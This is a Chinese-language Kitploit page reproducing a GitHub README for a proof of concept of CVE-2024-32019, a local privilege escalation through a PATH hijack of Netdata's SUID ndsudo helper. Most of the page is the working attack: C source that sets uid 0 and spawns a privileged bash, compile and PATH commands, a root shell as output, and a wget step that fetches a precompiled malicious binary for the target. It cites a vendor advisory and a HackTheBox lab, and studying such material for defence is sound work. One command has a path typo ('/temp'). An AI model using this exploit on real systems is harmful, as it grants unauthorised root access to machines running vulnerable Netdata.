Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-32019-POC — Netdata ndsudo 本地权限提升工作流及概念验证 (CVE-2024-32019) | Kitploit
工具/GitHubGitHub/juanbelin/cve-2024-32019-poc
权限提升漏洞分析漏洞利用渗透测试学习与教育实验室与实践
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Netdata ndsudo 本地权限提升工作流及概念验证 (CVE-2024-32019)

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-32019-POC

Netdata ndsudo 本地权限提升工作流及POC (CVE-2024-32019)

  • 工作流
  • 自动利用
  • 资源

工作流

[!TIP] 请先阅读

Netdata 是一个提供应用和系统监控的工具,运行在19999端口,容易发现:

root@kitploit:~
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

此漏洞 (CVE-2024-32019) 影响以下版本:>= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169。我们可以通过一个请求来获知版本信息,版本会出现在响应头中:

CVE-2024-32019-1

该漏洞利用的方式是劫持其中一个插件 ndsudo 的 PATH 环境变量,该插件通常位于 /opt/netdata/usr/libexec/netdata/ 并具有 SUID 权限。

root@kitploit:~
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

我们可以通过 --help 查看它能做什么

root@kitploit:~
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

一个辅助工具,允许 Netdata 以特权运行命令。

  --test
    打印将要运行的命令,而不实际执行它。

  --help
    打印此帮助信息。

支持以下命令:

- 命令      : nvme-list
  可执行文件: nvme 
  参数      : list --output-format=json

- 命令      : nvme-smart-log
  可执行文件: nvme 
  参数      : smart-log {{device}} --output-format=json

- 命令      : megacli-disk-info
  可执行文件: megacli MegaCli 
  参数      : -LDPDInfo -aAll -NoLog

- 命令      : megacli-battery-info
  可执行文件: megacli MegaCli 
  参数      : -AdpBbuCmd -aAll -NoLog

- 命令      : arcconf-ld-info
  可执行文件: arcconf 
  参数      : GETCONFIG 1 LD

- 命令      : arcconf-pd-info
  可执行文件: arcconf 
  参数      : GETCONFIG 1 PD

程序会在系统路径中搜索可执行文件。

以 {{variable}} 形式给出的变量,需要在命令行中这样提供:
  --variable VALUE

VALUE 可以包含空格、A-Z、a-z、0-9、_、-、/ 和 .。
root@kitploit:~
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

如我们所见,由于脚本包含多个命令,每个命令会查找对应的可执行文件,我们可以利用这一点,制作一个与其中某个可执行文件同名的恶意可执行文件,并将其所在目录添加到 PATH 环境变量中。

Netdata 使用 C 语言编写,因此我们也需要用 C 编写脚本并编译它。

CVE-2024-32019
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
root@kitploit:~
gcc arcconf.c -o arcconf

然后如前所述,将脚本所在目录添加到 $PATH 中

root@kitploit:~
test@test:/tmp$ PATH=/tmp:$PATH

最后,只需执行指向我们恶意可执行文件(arcconf-pd-info -> arcconf)的命令,就能获得一个特权 shell

root@kitploit:~
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

自动利用

你可以下载已编译好的 C 恶意脚本,它会像上述示例一样给你一个 root 的 bash:

root@kitploit:~
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
root@kitploit:~
mv arcconf /tmp # 如果目标能联网

scp ./arcconf test@test:/tmp/arcconf # 如果目标无法联网
root@kitploit:~
PATH=:/temp:$PATH
root@kitploit:~
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info # ndsudo 路径可能不同

资源

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

下载工具